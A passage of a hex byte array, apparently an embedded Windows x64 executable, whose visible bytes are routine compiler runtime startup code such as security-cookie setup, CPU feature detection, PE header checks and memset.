0x00, 0x48, 0x3b, 0xc3, - 0x48, 0x0f, 0x44, 0xc1, 0x48, 0x89, 0x05, 0xd5, 0xaf, 0x01, 0x00, 0x48, - 0x8b, 0x5c, 0x24, 0x48, 0x48, 0xf7, 0xd0, 0x48, 0x89, 0x05, 0xbe, 0xaf, - 0x01, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xc3, 0x48, 0x8d, 0x0d, 0x61, - 0xc0, 0x01, 0x00, 0x48, 0xff, 0x25, 0xca, 0x00, 0x01, 0x00, 0xcc, 0xcc, - 0x48, 0x8d, 0x0d, 0x51, 0xc0, 0x01, 0x00, 0xe9, 0xf8, 0x08, 0x00, 0x00, - 0x48, 0x8d, 0x05, 0x55, 0xc0, 0x01, 0x00, 0xc3, 0x48, 0x83, 0xec, 0x28, - 0xe8, 0x8b, 0xef, 0xff, 0xff, 0x48, 0x83, 0x08, 0x24, 0xe8, 0xe6, 0xff, - 0xff, 0xff, 0x48, 0x83, 0x08, 0x02, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, - 0x48, 0x83, 0xec, 0x28, 0xe8, 0xa7, 0x06, 0x00, 0x00, 0x85, 0xc0, 0x74, - 0x21, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x30, 0x00, 0x00, 0x00, 0x48, 0x8b, - 0x48, 0x08, 0xeb, 0x05, 0x48, 0x3b, 0xc8, 0x74, 0x14, 0x33, 0xc0, 0xf0, - 0x48, 0x0f, 0xb1, 0x0d, 0x1c, 0xc0, 0x01, 0x00, 0x75, 0xee, 0x32, 0xc0, - 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xb0, 0x01, 0xeb, 0xf7, 0xcc, 0xcc, 0xcc, - 0x48, 0x83, 0xec, 0x28, 0xe8, 0x6b, 0x06, 0x00, 0x00, 0x85, 0xc0, 0x74, - 0x07, 0xe8, 0xb6, 0x04, 0x00, 0x00, 0xeb, 0x19, 0xe8, 0x53, 0x06, 0x00, - 0x00, 0x8b, 0xc8, 0xe8, 0x6c, 0x3a, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x04, - 0x32, 0xc0, 0xeb, 0x07, 0xe8, 0x0f, 0x3e, 0x00, 0x00, 0xb0, 0x01, 0x48, - 0x83, 0xc4, 0x28, 0xc3, 0x48, 0x83, 0xec, 0x28, 0x33, 0xc9, 0xe8, 0x3d, - 0x01, 0x00, 0x00, 0x84, 0xc0, 0x0f, 0x95, 0xc0, 0x48, 0x83, 0xc4, 0x28, - 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0xe8, 0x97, 0x08, 0x00, - 0x00, 0x84, 0xc0, 0x75, 0x04, 0x32, 0xc0, 0xeb, 0x12, 0xe8, 0xde, 0x40, - 0x00, 0x00, 0x84, 0xc0, 0x75, 0x07, 0xe8, 0x95, 0x08, 0x00, 0x00, 0xeb, - 0xec, 0xb0, 0x01, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0x48, 0x83, 0xec, 0x28, - 0xe8, 0xd7, 0x40, 0x00, 0x00, 0xe8, 0x7e, 0x08, 0x00, 0x00, 0xb0, 0x01, - 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, - 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xf9, 0x49, 0x8b, 0xf0, 0x8b, 0xda, - 0x48, 0x8b, 0xe9, 0xe8, 0xc4, 0x05, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x16, - 0x83, 0xfb, 0x01, 0x75, 0x11, 0x4c, 0x8b, 0xc6, 0x33, 0xd2, 0x48, 0x8b, - 0xcd, 0x48, 0x8b, 0xc7, 0xff, 0x15, 0x7a, 0x01, 0x01, 0x00, 0x48, 0x8b, - 0x54, 0x24, 0x58, 0x8b, 0x4c, 0x24, 0x50, 0x48, 0x8b, 0x5c, 0x24, 0x30, - 0x48, 0x8b, 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x83, - 0xc4, 0x20, 0x5f, 0xe9, 0x50, 0x33, 0x00, 0x00, 0x48, 0x83, 0xec, 0x28, - 0xe8, 0x7f, 0x05, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x10, 0x48, 0x8d, 0x0d, - 0x1c, 0xbf, 0x01, 0x00, 0x48, 0x83, 0xc4, 0x28, 0xe9, 0x8f, 0x3e, 0x00, - 0x00, 0xe8, 0x56, 0x37, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x05, 0xe8, 0x31, - 0x37, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0x48, 0x83, 0xec, 0x28, - 0x33, 0xc9, 0xe8, 0x75, 0x40, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x28, 0xe9, - 0x00, 0x08, 0x00, 0x00, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x0f, 0xb6, - 0x05, 0xd7, 0xbe, 0x01, 0x00, 0x85, 0xc9, 0xbb, 0x01, 0x00, 0x00, 0x00, - 0x0f, 0x44, 0xc3, 0x88, 0x05, 0xc7, 0xbe, 0x01, 0x00, 0xe8, 0x76, 0x03, - 0x00, 0x00, 0xe8, 0x6d, 0x07, 0x00, 0x00, 0x84, 0xc0, 0x75, 0x04, 0x32, - 0xc0, 0xeb, 0x14, 0xe8, 0xc8, 0x3f, 0x00, 0x00, 0x84, 0xc0, 0x75, 0x09, - 0x33, 0xc9, 0xe8, 0xa5, 0x07, 0x00, 0x00, 0xeb, 0xea, 0x8a, 0xc3, 0x48, - 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, - 0xec, 0x20, 0x80, 0x3d, 0x8c, 0xbe, 0x01, 0x00, 0x00, 0x8b, 0xd9, 0x75, - 0x67, 0x83, 0xf9, 0x01, 0x77, 0x6a, 0xe8, 0xdd, 0x04, 0x00, 0x00, 0x85, - 0xc0, 0x74, 0x28, 0x85, 0xdb, 0x75, 0x24, 0x48, 0x8d, 0x0d, 0x76, 0xbe, - 0x01, 0x00, 0xe8, 0x29, 0x3e, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x10, 0x48, - 0x8d, 0x0d, 0x7e, 0xbe, 0x01, 0x00, 0xe8, 0x19, 0x3e, 0x00, 0x00, 0x85, - 0xc0, 0x74, 0x2e, 0x32, 0xc0, 0xeb, 0x33, 0x66, 0x0f, 0x6f, 0x05, 0x21, - 0x01, 0x01, 0x00, 0x48, 0x83, 0xc8, 0xff, 0xf3, 0x0f, 0x7f, 0x05, 0x45, - 0xbe, 0x01, 0x00, 0x48, 0x89, 0x05, 0x4e, 0xbe, 0x01, 0x00, 0xf3, 0x0f, - 0x7f, 0x05, 0x4e, 0xbe, 0x01, 0x00, 0x48, 0x89, 0x05, 0x57, 0xbe, 0x01, - 0x00, 0xc6, 0x05, 0x21, 0xbe, 0x01, 0x00, 0x01, 0xb0, 0x01, 0x48, 0x83, - 0xc4, 0x20, 0x5b, 0xc3, 0xb9, 0x05, 0x00, 0x00, 0x00, 0xe8, 0xfa, 0x00, - 0x00, 0x00, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x18, 0x4c, 0x8b, 0xc1, 0xb8, - 0x4d, 0x5a, 0x00, 0x00, 0x66, 0x39, 0x05, 0x21, 0xdd, 0xff, 0xff, 0x75, - 0x78, 0x48, 0x63, 0x0d, 0x54, 0xdd, 0xff, 0xff, 0x48, 0x8d, 0x15, 0x11, - 0xdd, 0xff, 0xff, 0x48, 0x03, 0xca, 0x81, 0x39, 0x50, 0x45, 0x00, 0x00, - 0x75, 0x5f, 0xb8, 0x0b, 0x02, 0x00, 0x00, 0x66, 0x39, 0x41, 0x18, 0x75, - 0x54, 0x4c, 0x2b, 0xc2, 0x0f, 0xb7, 0x41, 0x14, 0x48, 0x8d, 0x51, 0x18, - 0x48, 0x03, 0xd0, 0x0f, 0xb7, 0x41, 0x06, 0x48, 0x8d, 0x0c, 0x80, 0x4c, - 0x8d, 0x0c, 0xca, 0x48, 0x89, 0x14, 0x24, 0x49, 0x3b, 0xd1, 0x74, 0x18, - 0x8b, 0x4a, 0x0c, 0x4c, 0x3b, 0xc1, 0x72, 0x0a, 0x8b, 0x42, 0x08, 0x03, - 0xc1, 0x4c, 0x3b, 0xc0, 0x72, 0x08, 0x48, 0x83, 0xc2, 0x28, 0xeb, 0xdf, - 0x33, 0xd2, 0x48, 0x85, 0xd2, 0x75, 0x04, 0x32, 0xc0, 0xeb, 0x14, 0x83, - 0x7a, 0x24, 0x00, 0x7d, 0x04, 0x32, 0xc0, 0xeb, 0x0a, 0xb0, 0x01, 0xeb, - 0x06, 0x32, 0xc0, 0xeb, 0x02, 0x32, 0xc0, 0x48, 0x83, 0xc4, 0x18, 0xc3, - 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x8a, 0xd9, 0xe8, 0xc7, 0x03, 0x00, - 0x00, 0x33, 0xd2, 0x85, 0xc0, 0x74, 0x0b, 0x84, 0xdb, 0x75, 0x07, 0x48, - 0x87, 0x15, 0x4e, 0xbd, 0x01, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, - 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x80, 0x3d, 0x43, 0xbd, 0x01, 0x00, - 0x00, 0x8a, 0xd9, 0x74, 0x04, 0x84, 0xd2, 0x75, 0x0c, 0xe8, 0x86, 0x3e, - 0x00, 0x00, 0x8a, 0xcb, 0xe8, 0x2f, 0x06, 0x00, 0x00, 0xb0, 0x01, 0x48, - 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x8d, 0x05, 0xcd, - 0xc9, 0x01, 0x00, 0xc3, 0x83, 0x25, 0x4d, 0xbd, 0x01, 0x00, 0x00, 0xc3, - 0x48, 0x89, 0x5c, 0x24, 0x08, 0x55, 0x48, 0x8d, 0xac, 0x24, 0x40, 0xfb, - 0xff, 0xff, 0x48, 0x81, 0xec, 0xc0, 0x05, 0x00, 0x00, 0x8b, 0xd9, 0xb9, - 0x17, 0x00, 0x00, 0x00, 0xff, 0x15, 0x1a, 0xfd, 0x00, 0x00, 0x85, 0xc0, - 0x74, 0x04, 0x8b, 0xcb, 0xcd, 0x29, 0xb9, 0x03, 0x00, 0x00, 0x00, 0xe8, - 0xc4, 0xff, 0xff, 0xff, 0x33, 0xd2, 0x48, 0x8d, 0x4d, 0xf0, 0x41, 0xb8, - 0xd0, 0x04, 0x00, 0x00, 0xe8, 0xa7, 0x06, 0x00, 0x00, 0x48, 0x8d, 0x4d, - 0xf0, 0xff, 0x15, 0xb5, 0xfc, 0x00, 0x00, 0x48, 0x8b, 0x9d, 0xe8, 0x00, - 0x00, 0x00, 0x48, 0x8d, 0x95, 0xd8, 0x04, 0x00, 0x00, 0x48, 0x8b, 0xcb, - 0x45, 0x33, 0xc0, 0xff, 0x15, 0xa3, 0xfc, 0x00, 0x00, 0x48, 0x85, 0xc0, - 0x74, 0x3c, 0x48, 0x83, 0x64, 0x24, 0x38, 0x00, 0x48, 0x8d, 0x8d, 0xe0, - 0x04, 0x00, 0x00, 0x48, 0x8b, 0x95, 0xd8, 0x04, 0x00, 0x00, 0x4c, 0x8b, - 0xc8, 0x48, 0x89, 0x4c, 0x24, 0x30, 0x4c, 0x8b, 0xc3, 0x48, 0x8d, 0x8d, - 0xe8, 0x04, 0x00, 0x00, 0x48, 0x89, 0x4c, 0x24, 0x28, 0x48, 0x8d, 0x4d, - 0xf0, 0x48, 0x89, 0x4c, 0x24, 0x20, 0x33, 0xc9, 0xff, 0x15, 0x6a, 0xfc, - 0x00, 0x00, 0x48, 0x8b, 0x85, 0xc8, 0x04, 0x00, 0x00, 0x48, 0x8d, 0x4c, - 0x24, 0x50, 0x48, 0x89, 0x85, 0xe8, 0x00, 0x00, 0x00, 0x33, 0xd2, 0x48, - 0x8d, 0x85, 0xc8, 0x04, 0x00, 0x00, 0x41, 0xb8, 0x98, 0x00, 0x00, 0x00, - 0x48, 0x83, 0xc0, 0x08, 0x48, 0x89, 0x85, 0x88, 0x00, 0x00, 0x00, 0xe8, - 0x10, 0x06, 0x00, 0x00, 0x48, 0x8b, 0x85, 0xc8, 0x04, 0x00, 0x00, 0x48, - 0x89, 0x44, 0x24, 0x60, 0xc7, 0x44, 0x24, 0x50, 0x15, 0x00, 0x00, 0x40, - 0xc7, 0x44, 0x24, 0x54, 0x01, 0x00, 0x00, 0x00, 0xff, 0x15, 0x66, 0xfc, - 0x00, 0x00, 0x83, 0xf8, 0x01, 0x48, 0x8d, 0x44, 0x24, 0x50, 0x48, 0x89, - 0x44, 0x24, 0x40, 0x48, 0x8d, 0x45, 0xf0, 0x0f, 0x94, 0xc3, 0x48, 0x89, - 0x44, 0x24, 0x48, 0x33, 0xc9, 0xff, 0x15, 0x05, 0xfc, 0x00, 0x00, 0x48, - 0x8d, 0x4c, 0x24, 0x40, 0xff, 0x15, 0xf2, 0xfb, 0x00, 0x00, 0x85, 0xc0, - 0x75, 0x0c, 0x84, 0xdb, 0x75, 0x08, 0x8d, 0x48, 0x03, 0xe8, 0xbe, 0xfe, - 0xff, 0xff, 0x48, 0x8b, 0x9c, 0x24, 0xd0, 0x05, 0x00, 0x00, 0x48, 0x81, - 0xc4, 0xc0, 0x05, 0x00, 0x00, 0x5d, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0x1d, 0xa7, 0x85, 0x01, - 0x00, 0x48, 0x8d, 0x3d, 0xa0, 0x85, 0x01, 0x00, 0xeb, 0x12, 0x48, 0x8b, - 0x03, 0x48, 0x85, 0xc0, 0x74, 0x06, 0xff, 0x15, 0xd0, 0xfd, 0x00, 0x00, - 0x48, 0x83, 0xc3, 0x08, 0x48, 0x3b, 0xdf, 0x72, 0xe9, 0x48, 0x8b, 0x5c, - 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0x1d, 0x7b, 0x85, 0x01, - 0x00, 0x48, 0x8d, 0x3d, 0x74, 0x85, 0x01, 0x00, 0xeb, 0x12, 0x48, 0x8b, - 0x03, 0x48, 0x85, 0xc0, 0x74, 0x06, 0xff, 0x15, 0x94, 0xfd, 0x00, 0x00, - 0x48, 0x83, 0xc3, 0x08, 0x48, 0x3b, 0xdf, 0x72, 0xe9, 0x48, 0x8b, 0x5c, - 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xc2, 0x00, 0x00, 0xcc, - 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, - 0x83, 0xec, 0x10, 0x33, 0xc0, 0x33, 0xc9, 0x0f, 0xa2, 0x44, 0x8b, 0xc1, - 0x45, 0x33, 0xdb, 0x44, 0x8b, 0xcb, 0x41, 0x81, 0xf0, 0x6e, 0x74, 0x65, - 0x6c, 0x41, 0x81, 0xf1, 0x47, 0x65, 0x6e, 0x75, 0x44, 0x8b, 0xd2, 0x8b, - 0xf0, 0x33, 0xc9, 0x41, 0x8d, 0x43, 0x01, 0x45, 0x0b, 0xc8, 0x0f, 0xa2, - 0x41, 0x81, 0xf2, 0x69, 0x6e, 0x65, 0x49, 0x89, 0x04, 0x24, 0x45, 0x0b, - 0xca, 0x89, 0x5c, 0x24, 0x04, 0x8b, 0xf9, 0x89, 0x4c, 0x24, 0x08, 0x89, - 0x54, 0x24, 0x0c, 0x75, 0x50, 0x48, 0x83, 0x0d, 0x33, 0xaa, 0x01, 0x00, - 0xff, 0x25, 0xf0, 0x3f, 0xff, 0x0f, 0x3d, 0xc0, 0x06, 0x01, 0x00, 0x74, - 0x28, 0x3d, 0x60, 0x06, 0x02, 0x00, 0x74, 0x21, 0x3d, 0x70, 0x06, 0x02, - 0x00, 0x74, 0x1a, 0x05, 0xb0, 0xf9, 0xfc, 0xff, 0x83, 0xf8, 0x20, 0x77, - 0x24, 0x48, 0xb9, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x48, - 0x0f, 0xa3, 0xc1, 0x73, 0x14, 0x44, 0x8b, 0x05, 0xf8, 0xba, 0x01, 0x00, - 0x41, 0x83, 0xc8, 0x01, 0x44, 0x89, 0x05, 0xed, 0xba, 0x01, 0x00, 0xeb, - 0x07, 0x44, 0x8b, 0x05, 0xe4, 0xba, 0x01, 0x00, 0xb8, 0x07, 0x00, 0x00, - 0x00, 0x44, 0x8d, 0x48, 0xfb, 0x3b, 0xf0, 0x7c, 0x26, 0x33, 0xc9, 0x0f, - 0xa2, 0x89, 0x04, 0x24, 0x44, 0x8b, 0xdb, 0x89, 0x5c, 0x24, 0x04, 0x89, - 0x4c, 0x24, 0x08, 0x89, 0x54, 0x24, 0x0c, 0x0f, 0xba, 0xe3, 0x09, 0x73, - 0x0a, 0x45, 0x0b, 0xc1, 0x44, 0x89, 0x05, 0xb1, 0xba, 0x01, 0x00, 0xc7, - 0x05, 0x9f, 0xa9, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x44, 0x89, 0x0d, - 0x9c, 0xa9, 0x01, 0x00, 0x0f, 0xba, 0xe7, 0x14, 0x0f, 0x83, 0x91, 0x00, - 0x00, 0x00, 0x44, 0x89, 0x0d, 0x87, 0xa9, 0x01, 0x00, 0xbb, 0x06, 0x00, - 0x00, 0x00, 0x89, 0x1d, 0x80, 0xa9, 0x01, 0x00, 0x0f, 0xba, 0xe7, 0x1b, - 0x73, 0x79, 0x0f, 0xba, 0xe7, 0x1c, 0x73, 0x73, 0x33, 0xc9, 0x0f, 0x01, - 0xd0, 0x48, 0xc1, 0xe2, 0x20, 0x48, 0x0b, 0xd0, 0x48, 0x89, 0x54, 0x24, - 0x20, 0x48, 0x8b, 0x44, 0x24, 0x20, 0x22, 0xc3, 0x3a, 0xc3, 0x75, 0x57, - 0x8b, 0x05, 0x52, 0xa9, 0x01, 0x00, 0x83, 0xc8, 0x08, 0xc7, 0x05, 0x41, - 0xa9, 0x01, 0x00, 0x03, 0x00, 0x00, 0x00, 0x89, 0x05, 0x3f, 0xa9, 0x01, - 0x00, 0x41, 0xf6, 0xc3, 0x20, 0x74, 0x38, 0x83, 0xc8, 0x20, 0xc7, 0x05, - 0x28, 0xa9, 0x01, 0x00, 0x05, 0x00, 0x00, 0x00, 0x89, 0x05, 0x26, 0xa9, - 0x01, 0x00, 0xb8, 0x00, 0x00, 0x03, 0xd0, 0x44, 0x23, 0xd8, 0x44, 0x3b, - 0xd8, 0x75, 0x18, 0x48, 0x8b, 0x44, 0x24, 0x20, 0x24, 0xe0, 0x3c, 0xe0, - 0x75, 0x0d, 0x83, 0x0d, 0x07, 0xa9, 0x01, 0x00, 0x40, 0x89, 0x1d, 0xfd, - 0xa8, 0x01, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x28, 0x33, 0xc0, 0x48, 0x8b, - 0x74, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x10, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, - 0xb8, 0x01, 0x00, 0x00, 0x00, 0xc3, 0xcc, 0xcc, 0x33, 0xc0, 0x39, 0x05, - 0x40, 0xc6, 0x01, 0x00, 0x0f, 0x95, 0xc0, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, - 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, - 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x40, - 0x48, 0x8b, 0xe9, 0x4d, 0x8b, 0xf9, 0x49, 0x8b, 0xc8, 0x49, 0x8b, 0xf8, - 0x4c, 0x8b, 0xea, 0xe8, 0x04, 0x05, 0x00, 0x00, 0x4d, 0x8b, 0x67, 0x08, - 0x4d, 0x8b, 0x37, 0x49, 0x8b, 0x5f, 0x38, 0x4d, 0x2b, 0xf4, 0xf6, 0x45, - 0x04, 0x66, 0x41, 0x8b, 0x77, 0x48, 0x0f, 0x85, 0xdc, 0x00, 0x00, 0x00, - 0x48, 0x89, 0x6c, 0x24, 0x30, 0x48, 0x89, 0x7c, 0x24, 0x38, 0x3b, 0x33, - 0x0f, 0x83, 0x8a, 0x01, 0x00, 0x00, 0x8b, 0xfe, 0x48, 0x03, 0xff, 0x8b, - 0x44, 0xfb, 0x04, 0x4c, 0x3b, 0xf0, 0x0f, 0x82, 0xaa, 0x00, 0x00, 0x00, - 0x8b, 0x44, 0xfb, 0x08, 0x4c, 0x3b, 0xf0, 0x0f, 0x83, 0x9d, 0x00, 0x00, - 0x00, 0x83, 0x7c, 0xfb, 0x10, 0x00, 0x0f, 0x84, 0x92, 0x00, 0x00, 0x00, - 0x83, 0x7c, 0xfb, 0x0c, 0x01, 0x74, 0x17, 0x8b, 0x44, 0xfb, 0x0c, 0x48, - 0x8d, 0x4c, 0x24, 0x30, 0x49, 0x03, 0xc4, 0x49, 0x8b, 0xd5, 0xff, 0xd0, - 0x85, 0xc0, 0x78, 0x7d, 0x7e, 0x74, 0x81, 0x7d, 0x00, 0x63, 0x73, 0x6d, - 0xe0, 0x75, 0x28, 0x48, 0x83, 0x3d, 0xb9, 0xfb, 0x00, 0x00, 0x00, 0x74, - 0x1e, 0x48, 0x8d, 0x0d, 0xb0, 0xfb, 0x00, 0x00, 0xe8, 0x9b, 0xea, 0x00, - 0x00, 0x85, 0xc0, 0x74, 0x0e, 0xba, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, - 0xcd, 0xff, 0x15, 0x99, 0xfb, 0x00, 0x00, 0x8b, 0x4c, 0xfb, 0x10, 0x41, - 0xb8, 0x01, 0x00, 0x00, 0x00, 0x49, 0x03, 0xcc, 0x49, 0x8b, 0xd5, 0xe8, - 0x14, 0x04, 0x00, 0x00, 0x49, 0x8b, 0x47, 0x40, 0x4c, 0x8b, 0xc5, 0x8b, - 0x54, 0xfb, 0x10, 0x49, 0x8b, 0xcd, 0x44, 0x8b, 0x4d, 0x00, 0x49, 0x03, - 0xd4, 0x48, 0x89, 0x44, 0x24, 0x28, 0x49, 0x8b, 0x47, 0x28, 0x48, 0x89, - 0x44, 0x24, 0x20, 0xff, 0x15, 0xdb, 0xf8, 0x00, 0x00, 0xe8, 0x16, 0x04, - 0x00, 0x00, 0xff, 0xc6, 0xe9, 0x35, 0xff, 0xff, 0xff, 0x33, 0xc0, 0xe9, - 0xc5, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x7f, 0x20, 0x44, 0x8b, 0x0b, 0x49, - 0x2b, 0xfc, 0x41, 0x3b, 0xf1, 0x0f, 0x83, 0xad, 0x00, 0x00, 0x00, 0x45, - 0x8b, 0xc1, 0x8b, 0xd6, 0x41, 0x8b, 0xc8, 0x48, 0x03, 0xd2, 0x8b, 0x44, - 0xd3, 0x04, 0x4c, 0x3b, 0xf0, 0x0f, 0x82, 0x88, 0x00, 0x00, 0x00, 0x8b, - 0x44, 0xd3, 0x08, 0x4c, 0x3b, 0xf0, 0x73, 0x7f, 0x44, 0x8b, 0x5d, 0x04, - 0x41, 0x83, 0xe3, 0x20, 0x74, 0x44, 0x45, 0x33, 0xd2, 0x45, 0x85, 0xc0, - 0x74, 0x34, 0x41, 0x8b, 0xca, 0x48, 0x03, 0xc9, 0x8b, 0x44, 0xcb, 0x04, - 0x48, 0x3b, 0xf8, 0x72, 0x1d, 0x8b, 0x44, 0xcb, 0x08, 0x48, 0x3b, 0xf8, - 0x73, 0x14, 0x8b, 0x44, 0xd3, 0x10, 0x39, 0x44, 0xcb, 0x10, 0x75, 0x0a, - 0x8b, 0x44, 0xd3, 0x0c, 0x39, 0x44, 0xcb, 0x0c, 0x74, 0x08, 0x41, 0xff, - 0xc2, 0x45, 0x3b, 0xd0, 0x72, 0xcc, 0x41, 0x8b, 0xc9, 0x45, 0x3b, 0xd1, - 0x75, 0x3e, 0x8b, 0x44, 0xd3, 0x10, 0x85, 0xc0, 0x74, 0x0c, 0x48, 0x3b, - 0xf8, 0x75, 0x24, 0x45, 0x85, 0xdb, 0x75, 0x2c, 0xeb, 0x1d, 0x8d, 0x46, - 0x01, 0xb1, 0x01, 0x41, 0x89, 0x47, 0x48, 0x44, 0x8b, 0x44, 0xd3, 0x0c, - 0x49, 0x8b, 0xd5, 0x4d, 0x03, 0xc4, 0x41, 0xff, 0xd0, 0x44, 0x8b, 0x0b, - 0x41, 0x8b, 0xc9, 0xff, 0xc6, 0x44, 0x8b, 0xc1, 0x3b, 0xf1, 0x0f, 0x82, - 0x56, 0xff, 0xff, 0xff, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x5c, - 0x24, 0x40, 0x49, 0x8b, 0x5b, 0x30, 0x49, 0x8b, 0x6b, 0x38, 0x49, 0x8b, - 0x73, 0x40, 0x49, 0x8b, 0xe3, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, - 0x5c, 0x5f, 0xc3, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0xff, 0x15, - 0xe0, 0xf7, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x13, 0x48, 0x8b, 0x18, - 0x48, 0x8b, 0xc8, 0xe8, 0x20, 0x27, 0x00, 0x00, 0x48, 0x8b, 0xc3, 0x48, - 0x85, 0xdb, 0x75, 0xed, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, - 0x48, 0x83, 0xec, 0x28, 0xe8, 0xe3, 0x04, 0x00, 0x00, 0x84, 0xc0, 0x75, - 0x04, 0x32, 0xc0, 0xeb, 0x12, 0xe8, 0x6a, 0x04, 0x00, 0x00, 0x84, 0xc0, - 0x75, 0x07, 0xe8, 0x01, 0x05, 0x00, 0x00, 0xeb, 0xec, 0xb0, 0x01, 0x48, - 0x83, 0xc4, 0x28, 0xc3, 0x48, 0x83, 0xec, 0x28, 0xe8, 0x8f, 0x03, 0x00, - 0x00, 0x48, 0x85, 0xc0, 0x0f, 0x95, 0xc0, 0x48, 0x83, 0xc4, 0x28, 0xc3, - 0x48, 0x83, 0xec, 0x28, 0x33, 0xc9, 0xe8, 0x0d, 0x03, 0x00, 0x00, 0xb0, - 0x01, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, - 0x84, 0xc9, 0x75, 0x0a, 0xe8, 0x6b, 0x04, 0x00, 0x00, 0xe8, 0xbe, 0x04, - 0x00, 0x00, 0xb0, 0x01, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0xcc, - 0x48, 0x83, 0xec, 0x28, 0xe8, 0x53, 0x04, 0x00, 0x00, 0xb0, 0x01, 0x48, - 0x83, 0xc4, 0x28, 0xc3, 0x48, 0x85, 0xc9, 0x74, 0x67, 0x88, 0x54, 0x24, - 0x10, 0x48, 0x83, 0xec, 0x48, 0x81, 0x39, 0x63, 0x73, 0x6d, 0xe0, 0x75, - 0x53, 0x83, 0x79, 0x18, 0x04, 0x75, 0x4d, 0x8b, 0x41, 0x20, 0x2d, 0x20, - 0x05, 0x93, 0x19, 0x83, 0xf8, 0x02, 0x77, 0x40, 0x48, 0x8b, 0x41, 0x30, - 0x48, 0x85, 0xc0, 0x74, 0x37, 0x48, 0x63, 0x50, 0x04, 0x85, 0xd2, 0x74, - 0x11, 0x48, 0x03, 0x51, 0x38, 0x48, 0x8b, 0x49, 0x28, 0xe8, 0x2a, 0x00, - 0x00, 0x00, 0xeb, 0x20, 0xeb, 0x1e, 0xf6, 0x00, 0x10, 0x74, 0x19, 0x48, - 0x8b, 0x41, 0x28, 0x48, 0x8b, 0x08, 0x48, 0x85, 0xc9, 0x74, 0x0d, 0x48, - 0x8b, 0x01, 0x48, 0x8b, 0x40, 0x10, 0xff, 0x15, 0x9c, 0xf8, 0x00, 0x00, - 0x48, 0x83, 0xc4, 0x48, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0xff, 0xe2, 0xcc, - 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, - 0xcc, 0xcc, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x57, 0x8b, 0xc2, 0x48, 0x8b, 0xf9, 0x49, 0x8b, 0xc8, 0xf3, 0xaa, 0x49, - 0x8b, 0xc3, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x66, 0x66, - 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xd9, 0x0f, - 0xb6, 0xd2, 0x49, 0xb9, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, - 0x4c, 0x0f, 0xaf, 0xca, 0x49, 0x83, 0xf8, 0x10, 0x0f, 0x86, 0xf2, 0x00, - 0x00, 0x00, 0x66, 0x49, 0x0f, 0x6e, 0xc1, 0x66, 0x0f, 0x60, 0xc0, 0x49, - 0x81, 0xf8, 0x80, 0x00, 0x00, 0x00, 0x77, 